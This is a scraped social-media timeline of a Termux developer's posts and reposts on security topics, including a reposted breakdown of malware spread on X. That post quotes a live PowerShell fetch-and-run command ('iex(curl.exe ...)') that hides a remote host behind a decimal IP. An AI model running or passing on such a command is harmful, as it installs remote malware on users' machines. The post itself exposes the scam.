Yaksh Bariya

@termuxdevs | Node.js for Android

[Yaksh Bariya @CodingThunder]

This is to announce that I am moving away from X to Mastodon. https://t.co/5BhJeuZNY6 is where I will be active now, and not here. Also this is probably my last day here. Just logged in to post this

#mastodon

[Yaksh Bariya @CodingThunder]

New CVE-8008135-69 just dropped guys! Checkout

[Tib3rius @0xTib3rius]

We're cooked.

https://t.co/2k8cdKaHV6

[Yaksh Bariya @CodingThunder]

@traits_reality @nicbarkeragain @antovsky Nope, git treats two different commits as identical if they have same diff. Has happened multiple times with us at @termuxdevs

[Apollyon @0xApollyon]

Let us replace all DNS servers with a LLM which remembers what ips map to what domains

[Yaksh Bariya @CodingThunder]

ouch, Seeing numbers as IP addresses for the first time

Why didn't I think of it being possible to be used for such mallicious use when I first saw that you could just use numbers instead of full IPv4/v6 addresses? I did find the spec quite weird, but didn't think of it this way

[vx-underground @vxunderground]

> Sofia Black
> verified on X
> the everything app
> FREE YOUR PC, FREE UP SPACE
> run shrimple Powershell script
> looks legit
> wait
> squint eyes
> iex(curl.exe -s 1369980461/81689)
> hmmm
> 1369980461/81689?
> decimal2ip
> https://81.168.24.109/81689
> hmmmm
> curl.exe -v "http://1369980461/81689" -o goop.txt
> image 1
> wtf is this gonna speed up my pc???
> does a bunch of stupid shit
> gives me more stupid shit
> image 2
> does more stupid shit
> more stagers
> omfg bro just give me the goop
> gives me big ass fuck off inflated .zip file
> NodeJS malware

im trying to work on my dumb youtube video rn, so dont have time to keep bonking, but this is very silly goop. this is like, the 3rd or 4th malware ive seen spreading on X (the everything app, including malware).

[sysxplore @sysxplore]

She already knew the root password for SSH on Alpine

[Yaksh Bariya @CodingThunder]

As if your tweet is going to stop the degenerate in me 🦹

[Low Level @LowLevelTweets]

hey so dont google "sshole poc"

[Tib3rius @0xTib3rius]

Just imagine, a private SSH key of 4, protected by a password comprised of 257 "4"s.

It's so beautiful. 🥹

[Yaksh Bariya @CodingThunder]

@assuka_ @miaaowing Or maybe you are talking of just brute forcing the output for some of the timestamps, and I'm thinking of something else :P

Do lemme know if that's the case

[Yaksh Bariya @CodingThunder]

@assuka_ @miaaowing I haven't personally looked into HMAC algorithm, but I guess your attack relies on this..

N/N

[Yaksh Bariya @CodingThunder]

@assuka_ @miaaowing Even hashcat is going to have a really tough time to figure it out. I've read the RFCs for HOTP and TOTP, and it's quite secure.

[Yaksh Bariya @CodingThunder]

@justinmk @tarrudap Sorry, but I'm not a big fan of software trying to be their own package managers

[Yaksh Bariya @CodingThunder]

@zerion0 @dhruv_rathee Just use openrouter, cheaper and also wayy faster with way more options for models

[Yaksh Bariya @CodingThunder]

@anurag_bhatia An IX broke down? Or some temporary undersea cable disruption before switching to a failover?

[Yaksh Bariya @CodingThunder]

@Ledparq @aakons1 I hope that's actually the case and not something else

[Yaksh Bariya @CodingThunder]

@AngryMulbear @kingslyj Indian government is going to promote these suckers

[Duncan Lutz @duncanthedev]

fellas, if your girl:
- is short
- is insecure
- is only 4

that's not your girl. that's an eMudhra private key

[K Dinel @KuterDinel]

I am kinda happy that TURKTRUST issuing fake certificates for "*.google.com" in 2013 is no longer the worst Certificate Authority incident.

https://t.co/a7f6hVxlKS

[Yaksh Bariya @CodingThunder]

@_lyraaaa_ Any research work on this? On the methodology?